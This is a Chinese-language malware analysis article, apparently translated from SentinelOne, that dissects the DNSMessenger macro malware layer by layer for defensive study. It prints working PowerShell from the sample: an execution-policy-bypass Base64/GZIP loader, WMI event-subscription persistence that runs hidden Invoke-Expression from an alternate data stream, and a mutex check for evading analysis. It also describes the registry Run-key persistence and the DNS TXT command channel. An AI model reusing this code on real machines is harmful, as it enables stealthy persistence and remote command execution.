写在前面的话

在这篇文章中，我将给大家介绍一种通过分析DNSMessenger恶意软件提取的方法，通过这个例子结果，你们可以讨论我使用的方法，并思考每个步骤的过程。

源代码

这个恶意软件发现于一个SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码，我使用了OLETools工具，安装OLETools之后，只需运行命令olevba <filepath>就可以显示出宏。

VB和嵌入式PowerShell

在这里我们发现了一个问题，攻击者为了让脚本更难被破解嵌入了大量换行间距，广泛分散内容，在使用OLETools显示宏之后，我们还有花大量时间来寻找真正有用的脚本。作者还使用了无偿字符串连接来破坏简单的字符串签名——这有助于攻击者逃避静态分析工具，寻找像"winmgmts:\\.\root\cimv2"这样的字符串，并可能会被以下内容抛出："w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\\" & "." & "\r" & "" & "oot\c" & "" & "imv" & "" & "2"我们使用lStr命令对变量进行解码：lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL+7l+hol ... many many more lines ...如图：
继续进一步研究。

解开Base64

下面是一个简单的Python3脚本，用于解码前面提到的Base64 blob

import base64
import sys
with open(sys.argv[1]) as f:
    encoded = f.read()
sys.stdout.write(base64.b64decode(encoded))

解码后，生成的内容仍然无法读取。但我们可以知道其内容是GZIP格式的：存储在lStr中的VB字符串使用System.IO.Compression.GZipStream对象解压缩解码内容的命令；另一种识别方式是通过其（magic number），即开始文件签名（1F8B）；我们还可以在Unix机器上使用file <filepath>命令来确定文件类型。现在，我们将使用gunzip <filepath>解压缩内容，这会创建一个具有相同名称的解压缩文件，打开解压缩的文件将显示模糊的PowerShell代码（第2层），经过一些清理和重构后，脚本行为的一些细节会变得更加明显。

Base64解码和解压缩的PowerShell

滚动解压缩的脚本你会找到另一个Base64 blob，它充当下一阶段的payload，我将其命名为第3层payload。

存储payload

如果受害者具有PowerShell 3.0或更高版本，则该脚本将编码的第3层payload存储在名为kernel32.dll的备用数据流中，位于%PROGRAMDATA%\Windows\。恶意软件作者通常用ADS来隐藏数据，只需列出其文件，你就无法找到payload。如果受害者具有较旧版本的PowerShell，则该脚本会在注册表中为密钥添加名为Path的新属性，以存储有效内容。如果用户具有管理员权限，有效内容将存储在HKLM:Software\Microsoft\Windows\CurrentVersion中，否则，它将存储在HKCU:Software\Microsoft\Windows中。

注册表键

这些脚本在%PROGRAMDATA%\Windows\中创建了一个名为kernel32.vbs的备用数据流，并向其写入代码，该代码可以从上一步中存储的任何位置检索并执行payload。每次用户登录30分钟后，攻击者会修改运行注册表项以执行kernel32.vbs。如果用户具有管理员权限，则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\， 否则，目标密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\。

创建新的WMI对象

如果用户具有管理员权限，则脚本将创建永久WMI事件，并且监视用户登录，30分钟之后执行编码的payload。以下是代码。首先，它会删除现有的：

gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject

然后它会创建自己。如果你有PowerShell 3.0或更高版本，逻辑上讲是这样的：

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”}
$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""}
Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}

预定任务

该脚本还会创建一个计划任务，以便在用户登录后30分钟运行恶意软件。用于启动恶意软件的方法仅略有不同，具体取决于用户是否具有管理员权限。如果用户是非管理员，  wscript 则用于执行内容  kernel32.vbs。否则，使用 Invoke-Expression cmdlet。

DNS查询

现在我们已经讨论了攻击者实现恶意软件持久性的各种方法，让我们来看看下一个编码的payload是由什么组成的。在Base64解码和一些手动反混淆之后，你会注意到函数逻辑开头的这段代码，它包含了if之后的许多其他代码。

[bool]$flag = $false;
$mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag);
if (!$flag) { exit; }

乍一看，似乎这个if之后的恶意代码应该永远不会执行，但由于构造System.Threading.Mutex的语义，静态分析工具或弱动态分析系统可能无法实现将$flag变为true。从Source Fire来看，可能是加入了这种特定的逃避技术，以阻止Source Fire分析。很明显，代码使用nslookup命令重复查询DNS文本记录，这些查询的响应决定了程序的行为：1."idle" 会导致进程在继续之前在3500到5400秒之间休眠2."stop" 会提示进程退出3.继续4.使用Invoke-Expression执行查询响应由于这些领域不再具有活性，我们将不得不依赖先前Edmund Brumaghin和Colin Grady at Talos的数据，因为它们进行了原始分析。

命令与控制通信

为了响应DNS文本查询，你必须发送另一个payload，它包括一个gzip压缩和Base64编码的字符串，以及对第3层中dec函数的调用，用以解开它，所得的结果将传递给要执行的Invoke-Expression命令行。根据Talos的分析，这个payload重定向STDIN，STDOUT和STDERR，以便攻击者可以读取和写入命令行处理器，payload执行更多DNS查询命令，并与命令和控制服务器建立通信通道。从这里开始，攻击者可以通过DNS文本查询、响应发送要在受害者计算机的命令行，来解释器上执行的命令，并接收这些命令的结果。

最后的话

这是一段较旧但有趣的恶意软件分析，我将其分解为4个不同的层并描述了每个层的属性，具体来说，是回顾了此恶意软件所采用的混淆方式，以及它用于实现持久性的不同方法。

*参考来源sentinelone，由周大涛编译，转载请注明来自FreeBuf.COM